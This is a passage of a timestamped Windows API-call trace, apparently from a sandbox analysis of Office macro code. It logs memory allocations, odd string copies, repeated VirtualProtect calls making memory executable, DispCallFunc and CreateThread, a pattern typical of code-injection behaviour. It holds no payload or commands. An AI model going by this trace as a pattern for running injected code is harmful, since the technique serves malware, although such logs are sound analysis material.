IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.042] GetCurrentProcess () returned 0xffffffffffffffff [0095.042] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x45) returned 1 [0095.043] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.043] _mbscpy_s (in: _Dst=0x23cf70, _DstSizeInBytes=0x7, _Src=0x6ca2b96 | out: _Dst=0x23cf70) returned 0x0 [0095.043] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe52050 [0095.043] strcpy_s (in: _Dst=0xb686c08, _DstSize=0x7, _Src="Nepalo" | out: _Dst="Nepalo") returned 0x0 [0095.043] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.043] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.043] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.043] GetCurrentProcess () returned 0xffffffffffffffff [0095.043] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4d) returned 1 [0095.043] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.043] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb687a20 [0095.043] _mbscpy_s (in: _Dst=0x23cf70, _DstSizeInBytes=0x8, _Src=0x6ca2c42 | out: _Dst=0x23cf70) returned 0x0 [0095.043] IMalloc:Alloc (This=0x7feffc15380, cb=0x48) returned 0xbb35d20 [0095.043] strcpy_s (in: _Dst=0xb687180, _DstSize=0x8, _Src="Fcharss" | out: _Dst="Fcharss") returned 0x0 [0095.043] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.043] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.043] GetCurrentProcess () returned 0xffffffffffffffff [0095.043] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x45) returned 1 [0095.043] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.044] _mbscpy_s (in: _Dst=0x23cf70, _DstSizeInBytes=0x8, _Src=0x6ca2cba | out: _Dst=0x23cf70) returned 0x0 [0095.044] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe521d0 [0095.044] strcpy_s (in: _Dst=0xb687190, _DstSize=0x8, _Src="settler" | out: _Dst="settler") returned 0x0 [0095.044] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.044] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.044] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.044] GetCurrentProcess () returned 0xffffffffffffffff [0095.044] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4d) returned 1 [0095.044] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.044] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb687ec0 [0095.044] _mbscpy_s (in: _Dst=0x23cf70, _DstSizeInBytes=0xc, _Src=0x6ca2ce2 | out: _Dst=0x23cf70) returned 0x0 [0095.044] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe52230 [0095.044] strcpy_s (in: _Dst=0xb6871a0, _DstSize=0xc, _Src="doublecheck" | out: _Dst="doublecheck") returned 0x0 [0095.044] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.044] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.044] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.044] GetCurrentProcess () returned 0xffffffffffffffff [0095.044] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4d) returned 1 [0095.044] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.044] _mbscpy_s (in: _Dst=0x23cf70, _DstSizeInBytes=0xa, _Src=0x6ca2d0e | out: _Dst=0x23cf70) returned 0x0 [0095.045] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe52290 [0095.045] strcpy_s (in: _Dst=0xb6871b8, _DstSize=0xa, _Src="formsands" | out: _Dst="formsands") returned 0x0 [0095.045] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.045] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.045] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.045] GetCurrentProcess () returned 0xffffffffffffffff [0095.045] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4d) returned 1 [0095.045] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.045] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb687c70 [0095.045] _mbscpy_s (in: _Dst=0x23cf70, _DstSizeInBytes=0xb, _Src=0x6ca2d3a | out: _Dst=0x23cf70) returned 0x0 [0095.045] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe522f0 [0095.045] strcpy_s (in: _Dst=0xb6871d0, _DstSize=0xb, _Src="cleardatas" | out: _Dst="cleardatas") returned 0x0 [0095.045] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.045] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.045] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.045] GetCurrentProcess () returned 0xffffffffffffffff [0095.045] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4d) returned 1 [0095.045] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.045] _mbscpy_s (in: _Dst=0x23cf70, _DstSizeInBytes=0x7, _Src=0x6ca2d66 | out: _Dst=0x23cf70) returned 0x0 [0095.045] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe53c70 [0095.045] strcpy_s (in: _Dst=0xb6871e8, _DstSize=0x7, _Src="commde" | out: _Dst="commde") returned 0x0 [0095.046] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.046] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.046] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.046] GetCurrentProcess () returned 0xffffffffffffffff [0095.046] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4d) returned 1 [0095.046] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.046] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb688ca0 [0095.046] _mbscpy_s (in: _Dst=0x23cf70, _DstSizeInBytes=0x6, _Src=0x6ca2d8e | out: _Dst=0x23cf70) returned 0x0 [0095.046] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe53eb0 [0095.046] strcpy_s (in: _Dst=0xb6871f8, _DstSize=0x6, _Src="crsss" | out: _Dst="crsss") returned 0x0 [0095.046] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.046] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.046] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.046] GetCurrentProcess () returned 0xffffffffffffffff [0095.046] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4d) returned 1 [0095.046] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.046] _mbscpy_s (in: _Dst=0x23cf70, _DstSizeInBytes=0xc, _Src=0x6ca2c16 | out: _Dst=0x23cf70) returned 0x0 [0095.046] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe53f10 [0095.047] strcpy_s (in: _Dst=0xb687208, _DstSize=0xc, _Src="SecondNulls" | out: _Dst="SecondNulls") returned 0x0 [0095.047] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.047] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.047] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.047] GetCurrentProcess () returned 0xffffffffffffffff [0095.047] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4d) returned 1 [0095.047] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.047] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb688110 [0095.047] _mbscpy_s (in: _Dst=0x23cf70, _DstSizeInBytes=0x7, _Src=0x6ca2bbe | out: _Dst=0x23cf70) returned 0x0 [0095.047] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe53f70 [0095.047] strcpy_s (in: _Dst=0xb687220, _DstSize=0x7, _Src="sdemom" | out: _Dst="sdemom") returned 0x0 [0095.047] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.047] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.047] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.047] GetCurrentProcess () returned 0xffffffffffffffff [0095.047] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4d) returned 1 [0095.047] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.047] IMalloc:Alloc (This=0x7feffc15380, cb=0x14) returned 0xbc783b0 [0095.047] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbeae760 [0095.047] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.048] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xbc783b0 [0095.048] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.048] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xbe53fd0 [0095.048] GetCurrentProcess () returned 0xffffffffffffffff [0095.048] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.048] GetCurrentProcess () returned 0xffffffffffffffff [0095.048] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.048] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xbc783b0 [0095.048] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.048] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xbe54030 [0095.048] GetCurrentProcess () returned 0xffffffffffffffff [0095.048] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.048] GetCurrentProcess () returned 0xffffffffffffffff [0095.048] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.048] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xbc783b0 [0095.048] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.049] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xbe54090 [0095.049] GetCurrentProcess () returned 0xffffffffffffffff [0095.049] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.049] GetCurrentProcess () returned 0xffffffffffffffff [0095.049] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.049] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xbc783b0 [0095.049] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.049] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xbe540f0 [0095.049] GetCurrentProcess () returned 0xffffffffffffffff [0095.049] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af1, dwSize=0x8) returned 1 [0095.049] GetCurrentProcess () returned 0xffffffffffffffff [0095.049] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af0, dwSize=0x8) returned 1 [0095.049] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xbc783b0 [0095.049] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.049] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xbe54150 [0095.049] GetCurrentProcess () returned 0xffffffffffffffff [0095.049] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.049] GetCurrentProcess () returned 0xffffffffffffffff [0095.049] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.049] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xbc783b0 [0095.049] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.049] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xbe541b0 [0095.049] GetCurrentProcess () returned 0xffffffffffffffff [0095.049] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.049] GetCurrentProcess () returned 0xffffffffffffffff [0095.049] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.049] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xbc783b0 [0095.049] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.049] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xbe54210 [0095.050] GetCurrentProcess () returned 0xffffffffffffffff [0095.050] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.050] GetCurrentProcess () returned 0xffffffffffffffff [0095.050] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.050] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xbc783b0 [0095.050] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.050] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xbe54270 [0095.050] GetCurrentProcess () returned 0xffffffffffffffff [0095.050] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) returned 1 [0095.050] GetCurrentProcess () returned 0xffffffffffffffff [0095.050] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.050] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xbc783b0 [0095.050] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.050] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xbe542d0 [0095.050] GetCurrentProcess () returned 0xffffffffffffffff [0095.050] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.050] GetCurrentProcess () returned 0xffffffffffffffff [0095.050] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.050] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xbc783b0 [0095.050] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.050] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xbe54330 [0095.050] GetCurrentProcess () returned 0xffffffffffffffff [0095.050] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.050] GetCurrentProcess () returned 0xffffffffffffffff [0095.050] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.050] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xbc783b0 [0095.050] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.050] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xbe54390 [0095.050] GetCurrentProcess () returned 0xffffffffffffffff [0095.050] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.050] GetCurrentProcess () returned 0xffffffffffffffff [0095.050] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.051] IMalloc:Alloc (This=0x7feffc15380, cb=0x11) returned 0xbc783b0 [0095.051] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.051] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0xbe543f0 [0095.051] GetCurrentProcess () returned 0xffffffffffffffff [0095.051] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.051] GetCurrentProcess () returned 0xffffffffffffffff [0095.051] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.051] GetCurrentProcess () returned 0xffffffffffffffff [0095.051] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.051] GetCurrentProcess () returned 0xffffffffffffffff [0095.051] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.051] GetCurrentProcess () returned 0xffffffffffffffff [0095.051] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d818, dwSize=0x2) returned 1 [0095.051] GetCurrentProcess () returned 0xffffffffffffffff [0095.051] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d86c, dwSize=0x45) returned 1 [0095.051] VirtualProtect (in: lpAddress=0x4d7d86c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23dfec | out: lpflOldProtect=0x23dfec*=0x4) returned 1 [0095.051] GetCurrentProcess () returned 0xffffffffffffffff [0095.051] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.051] GetCurrentProcess () returned 0xffffffffffffffff [0095.051] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.051] GetCurrentProcess () returned 0xffffffffffffffff [0095.051] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688850, dwSize=0x2) returned 1 [0095.051] GetCurrentProcess () returned 0xffffffffffffffff [0095.051] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6888a4, dwSize=0x45) returned 1 [0095.051] VirtualProtect (in: lpAddress=0xb6888a4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23dfec | out: lpflOldProtect=0x23dfec*=0x4) returned 1 [0095.051] GetCurrentProcess () returned 0xffffffffffffffff [0095.051] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68892c, dwSize=0x45) returned 1 [0095.051] VirtualProtect (in: lpAddress=0xb68892c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23dfec | out: lpflOldProtect=0x23dfec*=0x40) returned 1 [0095.051] GetCurrentProcess () returned 0xffffffffffffffff [0095.051] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.051] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889b8, dwSize=0x2) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687a6c, dwSize=0x4d) returned 1 [0095.052] VirtualProtect (in: lpAddress=0xb687a6c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23dfec | out: lpflOldProtect=0x23dfec*=0x4) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af1, dwSize=0x8) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af0, dwSize=0x8) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b00, dwSize=0x2) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b54, dwSize=0x45) returned 1 [0095.052] VirtualProtect (in: lpAddress=0xb687b54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23dfec | out: lpflOldProtect=0x23dfec*=0x40) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687be0, dwSize=0x2) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f0c, dwSize=0x4d) returned 1 [0095.052] VirtualProtect (in: lpAddress=0xb687f0c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23dfec | out: lpflOldProtect=0x23dfec*=0x40) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687fa0, dwSize=0x2) returned 1 [0095.052] GetCurrentProcess () returned 0xffffffffffffffff [0095.052] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687ff4, dwSize=0x4d) returned 1 [0095.052] VirtualProtect (in: lpAddress=0xb687ff4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23dfec | out: lpflOldProtect=0x23dfec*=0x40) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688088, dwSize=0x2) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687cbc, dwSize=0x4d) returned 1 [0095.053] VirtualProtect (in: lpAddress=0xb687cbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23dfec | out: lpflOldProtect=0x23dfec*=0x40) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d50, dwSize=0x2) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687da4, dwSize=0x4d) returned 1 [0095.053] VirtualProtect (in: lpAddress=0xb687da4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23dfec | out: lpflOldProtect=0x23dfec*=0x40) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e38, dwSize=0x2) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688cec, dwSize=0x4d) returned 1 [0095.053] VirtualProtect (in: lpAddress=0xb688cec, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23dfec | out: lpflOldProtect=0x23dfec*=0x40) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.053] GetCurrentProcess () returned 0xffffffffffffffff [0095.053] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.054] GetCurrentProcess () returned 0xffffffffffffffff [0095.054] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d80, dwSize=0x2) returned 1 [0095.054] GetCurrentProcess () returned 0xffffffffffffffff [0095.054] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688dd4, dwSize=0x4d) returned 1 [0095.054] VirtualProtect (in: lpAddress=0xb688dd4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23dfec | out: lpflOldProtect=0x23dfec*=0x40) returned 1 [0095.054] GetCurrentProcess () returned 0xffffffffffffffff [0095.054] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.054] GetCurrentProcess () returned 0xffffffffffffffff [0095.054] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.054] GetCurrentProcess () returned 0xffffffffffffffff [0095.054] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e68, dwSize=0x2) returned 1 [0095.054] GetCurrentProcess () returned 0xffffffffffffffff [0095.054] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68815c, dwSize=0x4d) returned 1 [0095.054] VirtualProtect (in: lpAddress=0xb68815c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23dfec | out: lpflOldProtect=0x23dfec*=0x40) returned 1 [0095.054] GetCurrentProcess () returned 0xffffffffffffffff [0095.054] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.054] GetCurrentProcess () returned 0xffffffffffffffff [0095.054] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.054] GetCurrentProcess () returned 0xffffffffffffffff [0095.054] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881f0, dwSize=0x2) returned 1 [0095.054] GetCurrentProcess () returned 0xffffffffffffffff [0095.054] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688244, dwSize=0x4d) returned 1 [0095.054] VirtualProtect (in: lpAddress=0xb688244, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23dfec | out: lpflOldProtect=0x23dfec*=0x40) returned 1 [0095.055] IMalloc:Alloc (This=0x7feffc15380, cb=0x8) returned 0xbccba00 [0095.055] IMalloc:GetSize (This=0x7feffc15380, pv=0xbccba00) returned 0x8 [0095.055] IMalloc:Alloc (This=0x7feffc15380, cb=0x78) returned 0xbd2f780 [0095.055] IMalloc:GetSize (This=0x7feffc15380, pv=0xbd2f780) returned 0x78 [0095.055] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0095.055] IMalloc:Alloc (This=0x7feffc15380, cb=0x40) returned 0xbb35e60 [0095.055] DispCallFunc (pvInstance=0xbd2f7e0, oVft=0x38, cc=0x4, vtReturn=0xa, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0x23df50) returned 0x0 [0095.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x7fee5ce1778, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x23da10 | out: lpThreadId=0x23da10*=0xa9c) returned 0xf90 [0095.058] PeekMessageA (in: lpMsg=0x23d9b0, hWnd=0x202b0, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: 